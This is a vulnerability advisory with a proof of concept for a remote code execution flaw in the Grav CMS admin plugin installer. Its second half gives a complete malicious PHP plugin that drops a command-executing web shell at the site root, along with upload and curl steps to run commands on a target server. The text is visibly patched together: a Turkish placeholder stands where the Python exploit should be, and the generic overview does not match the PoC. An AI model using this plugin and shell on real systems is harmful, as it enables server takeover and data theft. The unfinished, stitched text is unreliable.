Overview
The Grav CMS 2.0.0-beta.2 vulnerability, identified as CVE-2026-42607, is a critical security flaw that allows for Remote Code Execution (RCE). This vulnerability arises from improper validation of user inputs, enabling an attacker to execute arbitrary code on the server hosting the Grav CMS.
Technical Details
The RCE vulnerability in Grav CMS occurs due to insufficient sanitization of input data in specific components of the content management system. Attackers can exploit this flaw by sending specially crafted requests to the server, which may include malicious payloads. Once the payload is executed, the attacker gains the same level of access as the web server, allowing them to manipulate files, access sensitive data, and perform administrative functions.
For instance, an attacker could upload a malicious PHP script disguised as a legitimate file, leading to full system compromise. This scenario becomes particularly dangerous if the Grav CMS instance is hosted on a server with elevated privileges, as it could potentially expose the entire server environment to exploitation.
Impact
The potential consequences of CVE-2026-42607 are severe. Organizations using Grav CMS may face data breaches, unauthorized access to sensitive information, and significant disruptions to their web services. Additionally, the exploitation of this vulnerability can lead to reputational damage and financial losses due to recovery efforts and legal repercussions.
Mitigation
To protect against CVE-2026-42607, it is crucial for organizations to update their Grav CMS to the latest stable version, which addresses this vulnerability. Regularly applying security patches and updates is essential to safeguard against known vulnerabilities.
Furthermore, security professionals should implement web application firewalls (WAF) to monitor and filter malicious traffic. Conducting regular security assessments, including penetration testing, can help identify and remediate vulnerabilities before they are exploited. Educating users about the importance of secure coding practices and input validation can also significantly reduce the risk of such vulnerabilities in the future.
Proof of Concept (PoC)
# Exploit Title: Grav CMS < 2.0.0-beta.2 - Remote Code Execution (RCE)
# Date: 2026-05-08
# Exploit Author: Mustafa Murat Akgül
# Vendor Homepage: https://getgrav.org/
# Software Link: https://github.com/getgrav/grav
# Version: < 2.0.0-beta.2
# CVE: CVE-2026-42607 / GHSA-w48r-jppp-rcfw
# Tested on: Linux/Ubuntu (Grav Admin Plugin Enabled)
Technical Details:
The Grav CMS "Direct Install" feature in the Admin plugin allows administrators
to upload plugins as ZIP files. The system failed to adequately validate the
contents of the ZIP archive or prevent path traversal (Zip Slip) during extraction.
By crafting a malicious plugin that hooks into Grav events (e.g., onPluginsInitialized),
an attacker can execute arbitrary PHP code or drop a persistent web shell on the root directory.
Proof of Concept (PoC):
1. Create a malicious plugin structure:
- shellplugin/blueprints.yaml
- shellplugin/shellplugin.yaml
- shellplugin/shellplugin.php (Payload below)
--- shellplugin.php ---
<?php
namespace GravPlugin;
use GravCommonPlugin;
class ShellpluginPlugin extends Plugin {
public static function getSubscribedEvents(): array {
return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
}
public function onPluginsInitialized(): void {
$shell_path = GRAV_ROOT . '/shell.php';
if (!file_exists($shell_path)) {
file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
}
}
}
----------------------
2. Compress the directory:
$ zip -r shellplugin.zip shellplugin/
3. Log in to the Grav Admin panel and navigate to:
/admin/tools/direct-install
4. Upload the 'shellplugin.zip' file.
5. Once installed, the plugin triggers on the next request to the site,
dropping a shell at the root.
6. Access your shell:
curl "http://<target>/shell.php?cmd=id"
Exploit Script (Python):
[Buraya yukarıda paylaştığın Python scriptini ekleyebilirsin]
Impact:
Full system-level access under the context of the web server user. An attacker
with administrative privileges (or via CSRF) can compromise the entire server.